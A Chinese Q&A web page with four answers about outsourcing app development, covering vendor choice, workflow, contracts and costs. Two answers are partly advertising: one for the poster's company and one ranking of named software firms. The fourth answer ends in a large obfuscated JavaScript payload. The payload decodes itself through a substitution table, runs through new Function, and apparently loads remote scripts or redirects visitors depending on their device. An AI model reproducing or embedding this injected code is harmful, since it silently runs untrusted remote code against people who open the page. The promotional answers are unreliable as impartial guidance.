App 开发外包注意事项有哪些

2025-03-20 09:39:02
推荐回答(4个)
回答1:

预算紧张?做个App比想象中复杂的多?

10个项目,7个烂尾?

不懂App开发技术,担心被忽悠?

怎么避免上线时间一拖再拖

App外包有那么可怕么?

商侣软件作为一个从小到大逐渐发展的专业开发公司,在这,分享一下在这个问题上面的一些看法或经验:


1. 如何找到接包的公司或团队?

建议到国内的外包网站发布一个项目(如智城),流程并不复杂,只需要对这个项目做一些简单的需求或功能描述,一般在两到三天之内会有十几到几十家竞标的团队或公司竞标你的项目(前提是价格适中,项目的实现不复杂),很多团队或公司竞标的时候都会附近一些案例和公司或团队的介绍资料,这时可以从中进行筛选,找到几家适合的再进一次联系了解,对比不同团队或公司的经验,能力,价格等等。通常情况下优先考虑本地的公司或团队,一方面节省沟通成本,另一方面,有一些情况下需要面对面交流或了解对方的情况,如到对方公司考察,签合同等都会方便很多


2. APP外包的流程是怎样的?

一般外包的项目都需要经常这几个流程:

1)需求沟通:双方沟通项目的需求,对项目的可行性进行分析

2)工作量评估:在确认了项目的需求后,外包团队对项目的价钱和进度进行评估,并提供一份详细的报价表及项目进度文档,确认开发进度及时间安排

3)签署NDA与项目合同:双方在项目报价和开发时间上如果达成统一意见,则正式签署项目合同,之后项目将正式启动

4)设计,研发,测试,上线:根据最终确认的设计方案,对整个项目进行产品原型,视觉图的设计,研发,测试,验收,最终发布上线

5)相关文档与源码交付:完成所有的设计和开发,根据实际需要进行必要的技术输出,合作完成。

6)维护升级:一般的APP项目开发完后都需要进行维护,因为随着手机系统的升级,或长时间的使用,或多或少都会有其他一些新出现的问题需要维护


3. 找个人,团队还是公司?

最主要的决定因素应该是在开发成本方面,个人兼职的话成本最低,一般一天的开发薪酬为300-700不等(一般都是找开发人员接手),但时间上会拖得比较长,进度上相对难掌握,还有就是除了开发外,设计,测试,沟通,服务器,上线,后期维护等方面缺乏相应的经验。团队的经验和综合能力相对个人强很多,开发薪酬一般是500到1000不等(仅代表个人了解到的情况),但做一些比较大的项目经验可能尚缺。公司相对正规很多,各方面的能力和经验都比较好,但成本相对较高,通常是按照1000-2000的薪酬计算(仅代表个人了解到的情况)。


4. 关于签合同有哪些注意事项?

一般合同都是接包的公司提供的,里面主要包括项目双方的责任和义务,其中关于项目报价,项目进度,分几期付款,维护升级还有源码版权方面需要特别留意。正规公司一般会按2-4期进行收款,有4-4-2的,也有5-3-2或5-4-1三期收取的,不同公司的收款方式都不一样。签合同之前,需要沟通好需求,明确功能要点,然后让对方提供详细的报价表,以及进度安排计划,这些如果没有明确好的话,以后会出现很多问题。


5. 关于成本预算方面

开发一个app项目,不单单只是开发成本,还需要考虑每个月的服务器费用,维护升级费用,上线APP市场的成本(如iOS上线到appstore需要每年交99美金,上传到Goolgle Play需要交25美金,国内的安卓市场免费)以及运营的成本等等,这些通常并没有算入开发成本当中。


以上是个人了解到的一些情况,如有其他问题或说得不对的地方,请帮忙指出来,我会尽量一一解答。


而关于外包公司的“被宰”这事儿呢,如果您找的是私人团队什么的,那就要看您平时扶过多少老奶奶过马路给多少老爷爷让过座了,有真心想做项目的,也有骗钱的呗,有大牛也有小虾。放在大些的公司上这个应该不太可能发生,如果注重价格那就多比价,没有经验的话尽量选择价格在中上游的基本差不了太多。能力啊技术水平啊这种就不多说了,大点规模的公司还是应该很注重自己的品牌的,可以看案例。


与外包公司合作项目的风险主要在于是否能按时按质的完成项目,也就是说绝大多数的外包公司他们想把东西做好,但是出于各种各样的意外,项目超出了他们自身的能力范围(可能是技术,可能是管理),合作体验差,产品出来品质差,最重导致甲乙双方都不愉快。一般不会是故意的,所以还是那句话基本不存在”被宰“,因为项目做不顺利乙方自己也是又相当大的损失的,就像七伤拳,”宰人先宰己“。任何行业的项目都有着这种问题


那么怎么针对在app外包中降低项目失败概率从而降低经济损失?


1、流程中重要的是执行过程。一般行业标准都是有首付款的,然后有免费维护期,还有注意要提供源码


2、整体外包多数来说是个好事。但也有不愉快的,比如甲方把app找了我们做,后台找了几个兼职的。这种痛苦啊,你能懂么他们是兼职所以白天根本不能做,只能晚上做,然后各种进度跟不上

所以,不是大项目的话尽量找一个牛的公司让他自己做。免得为两公司的磨合买单。

    

3、切记:严防转包。要切实看到乙方是否有真正的开发实力。我们有几个客户就是被上一家公司做砸了又找到我们重做的,做砸的原因就是他们私自转包,最近进度失控。转包的失败概率是非常非常非常高的,自己控制都有风险更何况倒一手。


4、需求理解要自上而下自甲而乙的统一。很多项目是初期产品没定义好,后来发现很多功能甲乙双方的理解有偏差,后果可想而知。这种情况多数是由甲方对接人不能领会领导的意图和乙方PM对产品需求把控能力差所致。乙方的PM和项目经理的确在项目中起到很重要的作用,开发前一定让乙方把UE做的十分清晰,UE重中之重,开发顺利与否个人认为一半的决定因素在UE。乙方PM有义务为app提一些建议,但是最重要的建议还是来自甲方的高层领导哈,这个没办法领导的意志就是方向。见过一个客户他自己不了解某个功能是什么意思,又不敢问领导最后貌似被开掉了,但是因为他个人这个项目耽误了好久。


5、该到UI了,记得事前跟乙方说好你们有没有特别想要的风格色调,是否和公司的VI什么的保持一致。切忌要什么“高端大气上档次,低调奢华有内涵,时尚前卫国际感,庄重优雅贵族范儿”身为ppt狗都对这些词语自动屏蔽了更别说设计狗了。说了这些只会提高预期却提不到点子上。提意见的时候最无语的就是“这不好看,换一个”,哪里不好看,想改成什么样的明确说会让UI进度更快(经验表明这个节约的时间可能不止一星期)


6、不知道你们要做的项目有多大,要考虑并发量什么的,还有容灾系统什么的,总之安全性拓展性方面的东西如项目有必要记得合同前沟通,这个也会影响到价格的。架构真心重要


7、iOS的app上线是需要苹果账号的,这个又分个人账号、公司账号、企业账号,如果您想让自己的app以后显示来自自己的公司,那就要去申请个账号了,不然等开发完才想起这个事儿就要耽误上线时间了。我们的客户有的规模很大很注重这个,有的不注重的直接用我公司的账号上传了就。。


8、如果有必要跟乙方吵架,记得可以对项目经理凶,但是不要对技术说的太难听。。。这个很讲究,好处您想想就知道了


9、项目开始前一定要求乙方提供时间进度表,大多数时候时间进度表和实际有偏差,但是进度表可以使双方知道我们的阶段目标在哪里。有进度总比没进度好。



要注意货比三家,提要求,看案例,很容易看出哪家实力强。

好长啊会不会没人看啊。。。。。别的想到了以后再补。最后还是做个植入性广告吧。。。各位如有开发app的需求还请照顾一下,我们公司案例很多,有兴趣的在开头就有提过我们公司,谢大家了。

回答2:

你好!
1、了解App外包开发的流程
  1)需求沟通:选择外包开发,双方一定要进行需求沟通,对项目进行了解和分析开发的可行性。
  2)工作评估:在确认需求开发之后,要对App软件开发的项目进行开发时间评估,提供一份详细的报价表,确认开发工作安排。
  3)双方签署项目合同:双方在各项问题都达成一致后,则正式签署项目合同,启动项目。
  4)设计、开发、测试、上线:根据最终需求开发App软件,对整个项目进行把关,包括从设计原型图到最后的成功上线。
  5)相关内容交付:完成开发后,App外包公司根据合同要求,交付相关内容,合作完成。
  6)维护升级:至于后期需不需要维护升级得根据双方合同要求。
  2、成本预算
  开发一个App软件,不单单只是成本的开发,还需要考虑各种费用等等。包括后期的运营维护升级,这些都是要考虑的。
  3、签署合同需要注意事项
  选择App外包开发,双方签署合同的时候一般都是由外包公司提供的,里面包括合同双方的责任和义务,关于项目报价,开发时间,分几期付款等等各方面信息。所以,双方在签署合同之前一定要沟通好,并且达成一致的信息,免得后期会有冲突。
望采纳谢谢!

回答3:

极其流行,同样也是竞争力极其大的一种商业模式。虽然国内软件开发公司都发展壮大起来了,但是各地软件开发公司的实力及资质仍然参差不齐。下面为大家介绍下近期国内软件开发公司的排名汇总。
1:华盛恒辉科技有限公司
上榜理由:华盛恒辉是一家专注于高端软件定制开发服务和高端建设的服务机构,致力于为企业提供全面、系统的开发制作方案。在开发、建设到运营推广领域拥有丰富经验,我们通过建立对目标客户和用户行为的分析,整合高质量设计和极其新技术,为您打造创意十足、有价值的企业品牌。
在军工领域,合作客户包括:中央军委联合参谋(原总参)、中央军委后勤保障部(原总后)、中央军委装备发展部(原总装)、装备研究所、战略支援、军事科学院、研究所、航天科工集团、中国航天科技集团、中国船舶工业集团、中国船舶重工集团、第一研究所、训练器材所、装备技术研究所等单位。
在民用领域,公司大力拓展民用市场,目前合作的客户包括中国中铁电气化局集团、中国铁道科学研究院、济南机务段、东莞轨道交通公司、京港地铁、中国国电集团、电力科学研究院、水利部、国家发改委、中信银行、华为公司等大型客户。
2:五木恒润科技有限公司
上榜理由:五木恒润拥有员工300多人,技术人员占90%以上,是一家专业的军工信息化建设服务单位,为军工单位提供完整的信息化解决方案。公司设有股东会、董事会、监事会、工会等上层机构,同时设置总经理职位,由总经理管理公司的具体事务。公司下设有研发部、质量部、市场部、财务部、人事部等机构。公司下辖成都研发中心、西安研发中心、沈阳办事处、天津办事处等分支机构。
3、浪潮
浪潮集团有限公司是国家首批认定的规划布局内的重点软件企业,中国著名的企业管理软件、分行业ERP及服务供应商,在咨询服务、IT规划、软件及解决方案等方面具有强大的优势,形成了以浪潮ERP系列产品PS、GS、GSP三大主要产品。是目前中国高端企业管理软件领跑者、中国企业管理软件技术领先者、中国最大的行业ERP与集团管理软件供应商、国内服务满意度最高的管理软件企业。
4、德格Dagle
德格智能SaaS软件管理系统自德国工业4.0,并且结合国内工厂行业现状而打造的一款工厂智能化信息平台管理软件,具备工厂ERP管理、SCRM客户关系管理、BPM业务流程管理、
OMS订单管理等四大企业业务信息系统,不仅满足企业对生产进行简易管理的需求,并突破局域网应用的局限性,同时使数据管理延伸到互联网与移动商务,不论是内部的管理应用还是外部的移动应用,都可以在智能SaaS软件管理系统中进行业务流程的管控。

回答4:

核心的莫过于选对团队和合作公司,这决定了最后做出来的产品是什么样子的,可以 看看 加减信息

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();